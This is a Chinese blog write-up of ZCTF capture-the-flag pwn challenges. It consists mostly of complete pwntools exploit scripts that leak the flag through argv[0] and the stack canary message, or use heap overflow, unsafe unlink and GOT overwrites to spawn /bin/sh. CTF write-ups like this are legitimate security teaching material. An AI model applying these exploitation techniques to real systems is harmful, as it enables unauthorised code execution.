版权声明:本文为博主原创文章,未经博主允许不得转载。

  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。

文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip

Pwn100

很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:

所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:

  1. from pwn import *
  2. #context.log_level = 'debug'
  3. s = remote('115.28.206.86',22222)
  4. s.recvuntil('please guess the flag:')
  5. payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
  6. s.sendline(payload)
  7. s.recvuntil('***: ')
  8. flagt = s.recvuntil('\n')[:27]
  9. flag = 'ZCTF{'
  10. for i in flagt:
  11. flag += chr(ord(i)^ord('A'))
  12. print flag
  13. s.close()

Pwn200-note1

  1. from pwn import *
  2. #context.log_level = 'debug'
  3. io = remote('127.0.0.1',10001)
  4. def new(title, typ, content):
  5. io.recvuntil('Enter the title:')
  6. io.sendline(title)
  7. io.recvuntil('Enter the type:')
  8. io.sendline(typ)
  9. io.recvuntil('Enter the content:')
  10. io.sendline(content)
  11. def show():
  12. io.recvuntil('content=')
  13. io.recvuntil('\n')
  14. io.recvuntil('title=')
  15. leak = io.recvuntil(',')
  16. printfaddr = u64(leak)
  17. print hex(printfaddr)
  18. def edit(title, newc):
  19. io.recvuntil('Input the note title:')
  20. io.sendline(title)
  21. io.recvuntil('Enter the new content:')
  22. io.sendline(newc)
  23. io.recvuntil('Modify success')
  24. def delete(title):
  25. io.recvuntil('Input the note title:')
  26. io.sendline(title)
  27. io.recvuntil('Delete success')
  28. def pwn():
  29. libcstartoff = 0x21A50
  30. systemoff = 0x414F0
  31. io.recvuntil('option--->>')
  32. io.sendline('')
  33. new('','aaa','a1a1')
  34. io.recvuntil('option--->>')
  35. io.sendline('')
  36. new('','aaa','a1a1')
  37. io.recvuntil('option--->>')
  38. io.sendline('')
  39. new('','aaa','a1a1')
  40.  
  41. payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)
  42. io.recvuntil('option--->>')
  43. io.sendline('')
  44. edit('', payload)
  45.  
  46. io.recvuntil('option--->>')
  47. io.sendline('')
  48. io.recvuntil('content=')
  49. io.recvuntil('\n')
  50. io.recvuntil('content=')
  51. io.recvuntil('\n')
  52. io.recvuntil('content=')
  53. libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
  54. numlibcstart = u64(libcstart)
  55. print 'leaked libc_start_main addr is %x' % numlibcstart
  56. numsys = numlibcstart - libcstartoff + systemoff
  57.  
  58. io.recvuntil('option--->>')
  59. io.sendline('')
  60. edit('', 'a'*40+p64(numsys))
  61.  
  62. io.recvuntil('option--->>')
  63. io.sendline('/bin/sh;')
  64. io.interactive()
  65. pwn()

Pwn400-note2

  1. from pwn import *
  2. import time
  3. #context.log_level = 'debug'
  4. def new(s,length,content):
  5. s.sendline('')
  6. s.recvuntil('(less than 128)')
  7. s.sendline(str(length))
  8. s.recvuntil('Input the note content:')
  9. s.sendline(content)
  10. def edit(s,idf,c,content):
  11. s.sendline('')
  12. s.recvuntil('Input the id of the note:')
  13. s.sendline(str(idf))
  14. s.recvuntil('[1.overwrite/2.append]')
  15. s.sendline(str(c))
  16. s.sendline(content)
  17. def dele(s,idf):
  18. s.sendline('')
  19. s.sendline(str(idf))
  20. s.recvuntil('delete note success!')
  21. def infoleak(s,idf):
  22. s.sendline('')
  23. s.recvuntil('Input the id of the note:')
  24. s.sendline(str(idf))
  25. s.recvuntil('Content is ')
  26. return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
  27. s= remote('127.0.0.1',10001)
  28. time.sleep(2)
  29. print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
  30. raw_input('go!')
  31. s.recvuntil('Input your name:')
  32. s.sendline('wah')
  33. s.recvuntil('Input your address:')
  34. s.sendline('ucas')
  35. s.recvuntil('option--->>')
  36.  
  37. globalptr = 0x602120
  38. fakefd = globalptr - 0x18
  39. fakebk = globalptr - 0x10
  40. content = 'a'*8
  41. content += p64(0x91)
  42. content += p64(fakefd)
  43. content += p64(fakebk)
  44. new(s,0x80,content)
  45. s.recvuntil('option--->>')
  46. new(s,0x0,'a'*8)
  47. s.recvuntil('option--->>')
  48. new(s,0x80,'b'*8)
  49. s.recvuntil('option--->>')
  50. dele(s,1)
  51. s.recvuntil('option--->>')
  52.  
  53. content = 'b'*0x10
  54. content += p64(0xa0)
  55. content += p64(0x90)
  56. new(s,0x0,content)
  57. s.recvuntil('option--->>')
  58. dele(s,2)
  59. s.recvuntil('option--->>')
  60. content = 'a'*0x18 + p64(0x602088)
  61. edit(s,0,1,content)
  62. s.recvuntil('option--->>')
  63.  
  64. atoiaddr = infoleak(s,0)
  65. s.recvuntil('option--->>')
  66. print 'atoi address is ' + hex(atoiaddr)
  67. systemaddr = atoiaddr - 0x36360 + 0x414F0
  68. print 'system address is ' + hex(systemaddr)
  69. content = p64(systemaddr)
  70. edit(s,0,1,content)
  71. s.recvuntil('option--->>')
  72. s.sendline('/bin/sh')
  73. s.interactive()
  74. s.close()

Pwn300-note3

  1. from pwn import *
  2. import time
  3. #context.log_level = 'debug'
  4. def new(s,length,content):
  5. s.sendline('')
  6. s.recvuntil('(less than 1024)')
  7. s.sendline(str(length))
  8. s.recvuntil('Input the note content:')
  9. s.sendline(content)
  10. def edit(s,idf,content):
  11. s.sendline('')
  12. s.recvuntil('Input the id of the note:')
  13. s.sendline(str(idf))
  14. s.recvuntil('Input the new content:')
  15. s.sendline(content)
  16. def dele(s,idf):
  17. s.sendline('')
  18. s.recvuntil('Input the id of the note:')
  19. s.sendline(str(idf))
  20. s.recvuntil('Delete success')
  21. def infoleak(s,idf):
  22. s.sendline('')
  23. s.recvuntil('Input the id of the note:\n')
  24. s.sendline(str(idf))
  25. time.sleep(1)
  26. return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
  27. s= remote('127.0.0.1',10001)
  28. time.sleep(2)
  29. print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
  30. raw_input('go!')
  31. s.recvuntil('option--->>')
  32.  
  33. globalptr = 0x6020C8
  34. fakefd = globalptr - 0x18
  35. fakebk = globalptr - 0x10
  36. content = 'a'*8
  37. content += p64(0x91)
  38. content += p64(fakefd)
  39. content += p64(fakebk)
  40. new(s,0x80,content)
  41. s.recvuntil('option--->>')
  42. new(s,0x0,'a'*8)
  43. s.recvuntil('option--->>')
  44. new(s,0x80,'b'*8)
  45. s.recvuntil('option--->>')
  46. dele(s,1)
  47. s.recvuntil('option--->>')
  48.  
  49. content = 'b'*0x10
  50. content += p64(0xa0)
  51. content += p64(0x90)
  52. new(s,0x0,content)
  53. s.recvuntil('option--->>')
  54. dele(s,2)
  55. s.recvuntil('option--->>')
  56. content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
  57. edit(s,0,content)
  58. s.recvuntil('option--->>')
  59. content = p64(0x400736)[:-1]
  60. edit(s,0,content)
  61. s.recvuntil('option--->>')
  62.  
  63. putsaddr = infoleak(s,1)
  64. s.recvuntil('option--->>')
  65. print 'puts address is ' + hex(putsaddr)
  66. systemaddr = putsaddr - 0x6B9F0 + 0x414F0
  67. print 'system address is ' + hex(systemaddr)
  68. content = p64(systemaddr)
  69. edit(s,2,content)
  70. s.recvuntil('option--->>')
  71. s.sendline('/bin/sh')
  72. s.interactive()
  73. s.close()

加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。

ZCTF-Pwn的更多相关文章

  1. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  2. ZCTF2015 pwn试题分析

    ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...

  3. 2016 ZCTF note3:一种新解法

    2016 ZCTF note3:一种新解法 最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以 ...

  4. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  5. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  6. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  7. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  10. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. jQuery -> end方法的使用方法

    我们在对结果集使用find.filter等方法时,会改变结果集. 这样的改变原先结果集的方法被称作destructive jQuery method jQuery cookbook有例如以下定义: A ...

  2. UVa 1394: And Then There Was One

    设置一个数组Winner记录经典约瑟夫问题中的剩余者即可递归解决该问题. 注: 约瑟夫问题:有编号为0~n-1的n个人,从0号开始报数1,2,3......报到k的杀死,然后从下一个人开始继续报数1, ...

  3. iOS动画一点也不神秘————你是喜欢看幻灯片?还是看高清电影?

    iOS设备在平均线上硬件比andorid设备良好许多,尤其是内存和CPU,所以iOS应用里面有大量动画交互效果的交互,这是每个用户都喜悦的,如果每个操作对应界面来讲都是直接变化,那变得十分地生硬. 你 ...

  4. Kolor Neutralhazer v1.0.2 (照片雾气模糊去除过滤器)+破解RI

    由于空气污染.阴霾几天越来越,根据照片始终是一个灰色,怎么做?有了这个插件.能够解除您的烦恼. Neutralhazer这是消除你的风景照片和雾气模糊的全景图的有效途径photoshop小工具. wa ...

  5. 基于express框架的应用程序骨架生成器介绍

    作者:zhanhailiang 日期:2014-11-09 本文将介绍怎样使用express-generator工具高速生成基于express框架的应用程序骨架: 1. 安装express-gener ...

  6. CSS清除浮动的方法

    CSS清除浮动的方法有哪些呢?经常性地会使用到float,很多邪门的事儿都有可能是浮动在作怪,清除浮动是必须要做的,而且随时性地对父级元素清除浮动的做法也被认为是书写CSS的良好习惯之一.下面看今天的 ...

  7. T4 模板 vs2010

    参阅:http://dotnet.cnblogs.com/page/78398/ T4模板的定义非常简单,整个模板的内容包括两种形式:静态形式和动态动态.前者就是直接写在模板中作为原样输出的文本,后者 ...

  8. Android应用自动更新功能的实现!!!

    自动更新功能的实现原理,就是我们事先和后台协商好一个接口,我们在应用的主Activity里,去访问这个接口,如果需要更新,后台会返回一些数据(比如,提示语:最新版本的url等).然后我们给出提示框,用 ...

  9. CAS SSO

    1.      CAS 简介 1.1.  What is CAS ? CAS ( Central Authentication Service ) 是 Yale 大学发起的一个企业级的.开源的项目,旨 ...

  10. javascript 高级程序设计学习笔记(面向对象的程序设计) 2

    在调用构造函数时会为实例添加一个指向最初原型的指针,我们可以随时为原型添加属性和方法,并且能在实例中体现出来,但如果是重新了原型对象,那就会切断构造函数与最初原型的联系. function Dog ( ...